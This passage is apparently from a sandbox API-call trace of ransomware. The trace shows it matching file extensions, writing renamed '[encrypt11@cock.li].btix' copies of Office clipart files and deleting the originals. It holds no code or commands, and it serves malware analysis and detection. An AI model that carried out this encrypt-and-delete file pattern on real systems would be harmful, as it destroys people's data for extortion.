Office\\root\\CLIPART\\PUB60COR\\J0107182.WMF") returned 68 [0153.127] lstrlenW (lpString=".dbf") returned 4 [0153.127] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0153.128] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107182.WMF") returned 68 [0153.128] lstrlenW (lpString=".1cd") returned 4 [0153.128] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0153.128] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107182.WMF") returned 68 [0153.128] lstrlenW (lpString=".jpg") returned 4 [0153.128] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0153.128] SetFilePointerEx (in: hFile=0x348, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x315fec0 | out: lpNewFilePointer=0x0) returned 1 [0153.128] SetFilePointerEx (in: hFile=0x348, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x315fec0 | out: lpNewFilePointer=0x0) returned 1 [0153.128] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107188.WMF.id-B4197730.[encrypt11@cock.li].btix" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107188.wmf.id-b4197730.[encrypt11@cock.li].btix"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x378 [0153.128] GetLastError () returned 0x0 [0153.129] ReadFile (in: hFile=0x348, lpBuffer=0x3d21020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x315fecc, lpOverlapped=0x0 | out: lpBuffer=0x3d21020*, lpNumberOfBytesRead=0x315fecc*=0x11b8, lpOverlapped=0x0) returned 1 [0153.129] WriteFile (in: hFile=0x378, lpBuffer=0x3d21020*, nNumberOfBytesToWrite=0x11c0, lpNumberOfBytesWritten=0x315fc94, lpOverlapped=0x0 | out: lpBuffer=0x3d21020*, lpNumberOfBytesWritten=0x315fc94*=0x11c0, lpOverlapped=0x0) returned 1 [0153.130] ReadFile (in: hFile=0x348, lpBuffer=0x3d21020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x315fecc, lpOverlapped=0x0 | out: lpBuffer=0x3d21020*, lpNumberOfBytesRead=0x315fecc*=0x0, lpOverlapped=0x0) returned 1 [0153.130] WriteFile (in: hFile=0x378, lpBuffer=0x3d21020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x315fc94, lpOverlapped=0x0 | out: lpBuffer=0x3d21020*, lpNumberOfBytesWritten=0x315fc94*=0xec, lpOverlapped=0x0) returned 1 [0153.130] SetEndOfFile (hFile=0x378) returned 1 [0153.130] CloseHandle (hObject=0x378) returned 1 [0153.131] SetFilePointerEx (in: hFile=0x348, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x315fec0 | out: lpNewFilePointer=0x0) returned 1 [0153.131] SetEndOfFile (hFile=0x348) returned 1 [0153.131] CloseHandle (hObject=0x348) returned 1 [0153.438] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107188.WMF.id-B4197730.[encrypt11@cock.li].btix", dwFileAttributes=0x220) returned 1 [0153.438] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107188.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107188.wmf")) returned 1 [0153.438] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107188.WMF") returned 68 [0153.438] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107188.WMF") returned 68 [0153.438] lstrlenW (lpString=".doc") returned 4 [0153.438] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0153.438] lstrlenW (lpString=".docx") returned 5 [0153.439] lstrcmpiW (lpString1=".docx", lpString2="8.WMF") returned -1 [0153.439] lstrlenW (lpString=".pdf") returned 4 [0153.439] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0153.439] lstrlenW (lpString=".xls") returned 4 [0153.439] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0153.439] lstrlenW (lpString=".xlsx") returned 5 [0153.439] lstrcmpiW (lpString1=".xlsx", lpString2="8.WMF") returned -1 [0153.439] lstrlenW (lpString=".ppt") returned 4 [0153.439] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0153.439] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107188.WMF") returned 68 [0153.439] lstrlenW (lpString=".zip") returned 4 [0153.439] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0153.439] lstrlenW (lpString=".rar") returned 4 [0153.439] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0153.439] lstrlenW (lpString=".bz2") returned 4 [0153.439] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0153.439] lstrlenW (lpString=".7z") returned 3 [0153.439] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0153.439] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107188.WMF") returned 68 [0153.439] lstrlenW (lpString=".dbf") returned 4 [0153.439] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0153.439] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107188.WMF") returned 68 [0153.439] lstrlenW (lpString=".1cd") returned 4 [0153.439] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0153.439] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107188.WMF") returned 68 [0153.439] lstrlenW (lpString=".jpg") returned 4 [0153.439] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0153.440] SetFilePointerEx (in: hFile=0x358, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x315fec0 | out: lpNewFilePointer=0x0) returned 1 [0153.440] SetFilePointerEx (in: hFile=0x358, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x315fec0 | out: lpNewFilePointer=0x0) returned 1 [0153.440] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107364.WMF.id-B4197730.[encrypt11@cock.li].btix" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107364.wmf.id-b4197730.[encrypt11@cock.li].btix"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x348 [0153.442] GetLastError () returned 0x0 [0153.442] ReadFile (in: hFile=0x358, lpBuffer=0x3d21020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x315fecc, lpOverlapped=0x0 | out: lpBuffer=0x3d21020*, lpNumberOfBytesRead=0x315fecc*=0x40cc, lpOverlapped=0x0) returned 1 [0153.470] WriteFile (in: hFile=0x348, lpBuffer=0x3d21020*, nNumberOfBytesToWrite=0x40d0, lpNumberOfBytesWritten=0x315fc94, lpOverlapped=0x0 | out: lpBuffer=0x3d21020*, lpNumberOfBytesWritten=0x315fc94*=0x40d0, lpOverlapped=0x0) returned 1 [0153.471] ReadFile (in: hFile=0x358, lpBuffer=0x3d21020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x315fecc, lpOverlapped=0x0 | out: lpBuffer=0x3d21020*, lpNumberOfBytesRead=0x315fecc*=0x0, lpOverlapped=0x0) returned 1 [0153.471] WriteFile (in: hFile=0x348, lpBuffer=0x3d21020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x315fc94, lpOverlapped=0x0 | out: lpBuffer=0x3d21020*, lpNumberOfBytesWritten=0x315fc94*=0xec, lpOverlapped=0x0) returned 1 [0153.471] SetEndOfFile (hFile=0x348) returned 1 [0153.472] CloseHandle (hObject=0x348) returned 1 [0153.472] SetFilePointerEx (in: hFile=0x358, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x315fec0 | out: lpNewFilePointer=0x0) returned 1 [0153.472] SetEndOfFile (hFile=0x358) returned 1 [0153.472] CloseHandle (hObject=0x358) returned 1 [0153.472] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107364.WMF.id-B4197730.[encrypt11@cock.li].btix", dwFileAttributes=0x220) returned 1 [0153.473] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107364.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107364.wmf")) returned 1 [0153.473] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107364.WMF") returned 68 [0153.473] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107364.WMF") returned 68 [0153.473] lstrlenW (lpString=".doc") returned 4 [0153.473] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0153.473] lstrlenW (lpString=".docx") returned 5 [0153.473] lstrcmpiW (lpString1=".docx", lpString2="4.WMF") returned -1 [0153.473] lstrlenW (lpString=".pdf") returned 4 [0153.473] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0153.473] lstrlenW (lpString=".xls") returned 4 [0153.474] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0153.474] lstrlenW (lpString=".xlsx") returned 5 [0153.474] lstrcmpiW (lpString1=".xlsx", lpString2="4.WMF") returned -1 [0153.474] lstrlenW (lpString=".ppt") returned 4 [0153.474] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0153.474] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107364.WMF") returned 68 [0153.474] lstrlenW (lpString=".zip") returned 4 [0153.474] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0153.474] lstrlenW (lpString=".rar") returned 4 [0153.474] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0153.474] lstrlenW (lpString=".bz2") returned 4 [0153.474] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0153.474] lstrlenW (lpString=".7z") returned 3 [0153.474] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0153.474] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107364.WMF") returned 68 [0153.474] lstrlenW (lpString=".dbf") returned 4 [0153.474] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0153.474] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107364.WMF") returned 68 [0153.474] lstrlenW (lpString=".1cd") returned 4 [0153.474] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0153.474] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107364.WMF") returned 68 [0153.474] lstrlenW (lpString=".jpg") returned 4 [0153.474] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0153.474] SetFilePointerEx (in: hFile=0x358, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x315fec0 | out: lpNewFilePointer=0x0) returned 1 [0153.475] SetFilePointerEx (in: hFile=0x358, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x315fec0 | out: lpNewFilePointer=0x0) returned 1 [0153.475] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107446.WMF.id-B4197730.[encrypt11@cock.li].btix" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107446.wmf.id-b4197730.[encrypt11@cock.li].btix"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x348 [0153.475] GetLastError () returned 0x0 [0153.475] ReadFile (in: hFile=0x358, lpBuffer=0x3d21020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x315fecc, lpOverlapped=0x0 | out: lpBuffer=0x3d21020*, lpNumberOfBytesRead=0x315fecc*=0x7680, lpOverlapped=0x0) returned 1 [0153.576] WriteFile (in: hFile=0x348, lpBuffer=0x3d21020*, nNumberOfBytesToWrite=0x7690, lpNumberOfBytesWritten=0x315fc94, lpOverlapped=0x0 | out: lpBuffer=0x3d21020*, lpNumberOfBytesWritten=0x315fc94*=0x7690, lpOverlapped=0x0) returned 1 [0153.577] ReadFile (in: hFile=0x358, lpBuffer=0x3d21020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x315fecc, lpOverlapped=0x0 | out: lpBuffer=0x3d21020*, lpNumberOfBytesRead=0x315fecc*=0x0, lpOverlapped=0x0) returned 1 [0153.577] WriteFile (in: hFile=0x348, lpBuffer=0x3d21020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x315fc94, lpOverlapped=0x0 | out: lpBuffer=0x3d21020*, lpNumberOfBytesWritten=0x315fc94*=0xec, lpOverlapped=0x0) returned 1 [0153.577] SetEndOfFile (hFile=0x348) returned 1 [0153.577] CloseHandle (hObject=0x348) returned 1 [0153.577] SetFilePointerEx (in: hFile=0x358, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x315fec0 | out: lpNewFilePointer=0x0) returned 1 [0153.577] SetEndOfFile (hFile=0x358) returned 1 [0153.578] CloseHandle (hObject=0x358) returned 1 [0153.578] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107446.WMF.id-B4197730.[encrypt11@cock.li].btix", dwFileAttributes=0x220) returned 1 [0153.580] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107446.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107446.wmf")) returned 1 [0153.581] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107446.WMF") returned 68 [0153.581] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107446.WMF") returned 68 [0153.581] lstrlenW (lpString=".doc") returned 4 [0153.581] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0153.581] lstrlenW (lpString=".docx") returned 5 [0153.581] lstrcmpiW (lpString1=".docx", lpString2="6.WMF") returned -1 [0153.581] lstrlenW (lpString=".pdf") returned 4 [0153.581] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0153.581] lstrlenW (lpString=".xls") returned 4 [0153.581] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0153.581] lstrlenW (lpString=".xlsx") returned 5 [0153.581] lstrcmpiW (lpString1=".xlsx", lpString2="6.WMF") returned -1 [0153.581] lstrlenW (lpString=".ppt") returned 4 [0153.581] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0153.581] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107446.WMF") returned 68 [0153.581] lstrlenW (lpString=".zip") returned 4 [0153.581] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0153.581] lstrlenW (lpString=".rar") returned 4 [0153.581] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0153.582] lstrlenW (lpString=".bz2") returned 4 [0153.582] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0153.582] lstrlenW (lpString=".7z") returned 3 [0153.582] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0153.582] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107446.WMF") returned 68 [0153.582] lstrlenW (lpString=".dbf") returned 4 [0153.582] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0153.582] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107446.WMF") returned 68 [0153.582] lstrlenW (lpString=".1cd") returned 4 [0153.582] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0153.582] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107446.WMF") returned 68 [0153.582] lstrlenW (lpString=".jpg") returned 4 [0153.582] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0153.582] SetFilePointerEx (in: hFile=0x358, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x315fec0 | out: lpNewFilePointer=0x0) returned 1 [0153.582] SetFilePointerEx (in: hFile=0x358, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x315fec0 | out: lpNewFilePointer=0x0) returned 1 [0153.582] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107456.WMF.id-B4197730.[encrypt11@cock.li].btix" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107456.wmf.id-b4197730.[encrypt11@cock.li].btix"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x348 [0153.583] GetLastError () returned 0x0 [0153.583] ReadFile (in: hFile=0x358, lpBuffer=0x3d21020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x315fecc, lpOverlapped=0x0 | out: lpBuffer=0x3d21020*, lpNumberOfBytesRead=0x315fecc*=0xe8c, lpOverlapped=0x0) returned 1 [0153.669] WriteFile (in: hFile=0x348, lpBuffer=0x3d21020*, nNumberOfBytesToWrite=0xe90, lpNumberOfBytesWritten=0x315fc94, lpOverlapped=0x0 | out: lpBuffer=0x3d21020*, lpNumberOfBytesWritten=0x315fc94*=0xe90, lpOverlapped=0x0) returned 1 [0153.689] ReadFile (in: hFile=0x358, lpBuffer=0x3d21020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x315fecc, lpOverlapped=0x0 | out: lpBuffer=0x3d21020*, lpNumberOfBytesRead=0x315fecc*=0x0, lpOverlapped=0x0) returned 1 [0153.690] WriteFile (in: hFile=0x348, lpBuffer=0x3d21020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x315fc94, lpOverlapped=0x0 | out: lpBuffer=0x3d21020*, lpNumberOfBytesWritten=0x315fc94*=0xec, lpOverlapped=0x0) returned 1 [0153.690] SetEndOfFile (hFile=0x348) returned 1 [0153.690] CloseHandle (hObject=0x348) returned 1 [0153.690] SetFilePointerEx (in: hFile=0x358, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x315fec0 | out: lpNewFilePointer=0x0) returned 1 [0153.690] SetEndOfFile (hFile=0x358) returned 1 [0153.691] CloseHandle (hObject=0x358) returned 1 [0153.691] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107456.WMF.id-B4197730.[encrypt11@cock.li].btix", dwFileAttributes=0x220) returned 1 [0153.691] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107456.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107456.wmf")) returned 1 [0153.693] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107456.WMF") returned 68 [0153.693] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107456.WMF") returned 68 [0153.693] lstrlenW (lpString=".doc") returned 4 [0153.693] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0153.693] lstrlenW (lpString=".docx") returned 5 [0153.693] lstrcmpiW (lpString1=".docx", lpString2="6.WMF") returned -1 [0153.693] lstrlenW (lpString=".pdf") returned 4 [0153.693] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0153.693] lstrlenW (lpString=".xls") returned 4 [0153.693] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0153.693] lstrlenW (lpString=".xlsx") returned 5 [0153.693] lstrcmpiW (lpString1=".xlsx", lpString2="6.WMF") returned -1 [0153.693] lstrlenW (lpString=".ppt") returned 4 [0153.693] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0153.693] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107456.WMF") returned 68 [0153.693] lstrlenW (lpString=".zip") returned 4 [0153.693] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0153.693] lstrlenW (lpString=".rar") returned 4 [0153.693] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0153.693] lstrlenW (lpString=".bz2") returned 4 [0153.693] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0153.693] lstrlenW (lpString=".7z") returned 3 [0153.693] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0153.693] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107456.WMF") returned 68 [0153.694] lstrlenW (lpString=".dbf") returned 4 [0153.694] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0153.694] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107456.WMF") returned 68 [0153.694] lstrlenW (lpString=".1cd") returned 4 [0153.694] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0153.694] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107456.WMF") returned 68 [0153.694] lstrlenW (lpString=".jpg") returned 4 [0153.694] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0153.695] SetFilePointerEx (in: hFile=0x348, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x315fec0 | out: lpNewFilePointer=0x0) returned 1 [0153.695] SetFilePointerEx (in: hFile=0x348, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x315fec0 | out: lpNewFilePointer=0x0) returned 1 [0153.695] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107484.WMF.id-B4197730.[encrypt11@cock.li].btix" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107484.wmf.id-b4197730.[encrypt11@cock.li].btix"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x378 [0153.703] GetLastError () returned 0x0 [0153.703] ReadFile (in: hFile=0x348, lpBuffer=0x3d21020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x315fecc, lpOverlapped=0x0 | out: lpBuffer=0x3d21020*, lpNumberOfBytesRead=0x315fecc*=0xbe0, lpOverlapped=0x0) returned 1 [0153.740] WriteFile (in: hFile=0x378, lpBuffer=0x3d21020*, nNumberOfBytesToWrite=0xbf0, lpNumberOfBytesWritten=0x315fc94, lpOverlapped=0x0 | out: lpBuffer=0x3d21020*, lpNumberOfBytesWritten=0x315fc94*=0xbf0, lpOverlapped=0x0) returned 1 [0153.740] ReadFile (in: hFile=0x348, lpBuffer=0x3d21020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x315fecc, lpOverlapped=0x0 | out: lpBuffer=0x3d21020*, lpNumberOfBytesRead=0x315fecc*=0x0, lpOverlapped=0x0) returned 1 [0153.740] WriteFile (in: hFile=0x378, lpBuffer=0x3d21020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x315fc94, lpOverlapped=0x0 | out: lpBuffer=0x3d21020*, lpNumberOfBytesWritten=0x315fc94*=0xec, lpOverlapped=0x0) returned 1 [0153.741] SetEndOfFile (hFile=0x378) returned 1 [0153.741] CloseHandle (hObject=0x378) returned 1 [0153.741] SetFilePointerEx (in: hFile=0x348, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x315fec0 | out: lpNewFilePointer=0x0) returned 1 [0153.741] SetEndOfFile (hFile=0x348) returned 1 [0153.742] CloseHandle (hObject=0x348) returned 1 [0153.742] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107484.WMF.id-B4197730.[encrypt11@cock.li].btix", dwFileAttributes=0x220) returned 1 [0153.742] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107484.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107484.wmf")) returned 1 [0153.743] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107484.WMF") returned 68 [0153.743] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107484.WMF") returned 68 [0153.743] lstrlenW (lpString=".doc") returned 4 [0153.743] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0153.743] lstrlenW (lpString=".docx") returned 5 [0153.743] lstrcmpiW (lpString1=".docx", lpString2="4.WMF") returned -1 [0153.743] lstrlenW (lpString=".pdf") returned 4 [0153.743] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0153.743] lstrlenW (lpString=".xls") returned 4 [0153.743] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0153.743] lstrlenW (lpString=".xlsx") returned 5 [0153.743] lstrcmpiW (lpString1=".xlsx", lpString2="4.WMF") returned -1 [0153.743] lstrlenW (lpString=".ppt") returned 4 [0153.743] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0153.743] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107484.WMF") returned 68 [0153.743] lstrlenW (lpString=".zip") returned 4 [0153.743] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0153.743] lstrlenW (lpString=".rar") returned 4 [0153.743] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0153.743] lstrlenW (lpString=".bz2") returned 4 [0153.743] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0153.743] lstrlenW (lpString=".7z") returned 3 [0153.744] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0153.744] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107484.WMF") returned 68 [0153.744] lstrlenW (lpString=".dbf") returned 4 [0153.744] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0153.744] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107484.WMF") returned 68 [0153.744] lstrlenW (lpString=".1cd") returned 4 [0153.744] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0153.744] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107484.WMF") returned 68 [0153.744] lstrlenW (lpString=".jpg") returned 4 [0153.744] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0153.748] SetFilePointerEx (in: hFile=0x358, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x315fec0 | out: lpNewFilePointer=0x0) returned 1 [0153.748] SetFilePointerEx (in: hFile=0x358, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x315fec0 | out: lpNewFilePointer=0x0) returned 1 [0153.748] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107494.WMF.id-B4197730.[encrypt11@cock.li].btix" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107494.wmf.id-b4197730.[encrypt11@cock.li].btix"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x35c [0153.749] GetLastError () returned 0x0 [0153.749] ReadFile (in: hFile=0x358, lpBuffer=0x3d21020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x315fecc, lpOverlapped=0x0 | out: lpBuffer=0x3d21020*, lpNumberOfBytesRead=0x315fecc*=0x1918, lpOverlapped=0x0) returned 1 [0153.766] WriteFile (in: hFile=0x35c, lpBuffer=0x3d21020*, nNumberOfBytesToWrite=0x1920, lpNumberOfBytesWritten=0x315fc94, lpOverlapped=0x0 | out: lpBuffer=0x3d21020*, lpNumberOfBytesWritten=0x315fc94*=0x1920, lpOverlapped=0x0) returned 1 [0153.806] ReadFile (in: hFile=0x358, lpBuffer=0x3d21020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x315fecc, lpOverlapped=0x0 | out: lpBuffer=0x3d21020*, lpNumberOfBytesRead=0x315fecc*=0x0, lpOverlapped=0x0) returned 1 [0153.806] WriteFile (in: hFile=0x35c, 